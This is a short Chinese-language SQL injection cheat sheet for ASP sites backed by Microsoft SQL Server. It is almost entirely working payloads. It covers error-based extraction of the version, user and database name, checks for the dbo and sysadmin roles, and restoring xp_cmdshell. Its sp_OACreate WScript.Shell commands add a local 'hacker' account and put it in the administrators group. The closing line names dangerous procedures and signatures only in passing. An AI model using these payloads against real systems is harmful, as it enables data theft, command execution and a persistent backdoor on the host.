https://site/list.asp?classid=1'
-- 回傳「未閉合引號」錯誤 → 確認存在注入
| 函數 | 用途 |
|---|---|
@@VERSION | 作業系統、SQL 版本、SP 等級 |
USER_NAME() | 目前連線使用者 |
DB_NAME() | 目前資料庫 |
HOST_NAME() | 客戶端主機名 |
-- 取得版本
classid=1 AND 0<>(SELECT @@VERSION)
-- 回傳轉型錯誤,錯誤訊息中包含版本字串
-- 判斷是否為 dbo
classid=1 AND USER_NAME()='dbo' -- 正常回應 = 是 dbo
-- 取得資料庫名
classid=1 AND 0<>(SELECT DB_NAME())
若為 sysadmin 角色,可啟用/恢復 xp_cmdshell:
-- 檢查是否存在
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
-- 恢復(需確切 DLL 路徑)
EXEC sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
-- 或指定絕對路徑
EXEC sp_addextendedproc 'xp_cmdshell', 'c:\inetpub\wwwroot\xplog70.dll'
進階:sp_OACreate 建立 WScript.Shell 執行任意命令:
DECLARE @o INT
EXEC sp_OACreate 'WScript.Shell', @o OUT
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net user hacker P@ssw0rd /add'
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net localgroup administrators hacker /add'
xp_cmdshell、sp_OA* 等危險延伸預存程序@@VERSION、xp_cmdshell 等特徵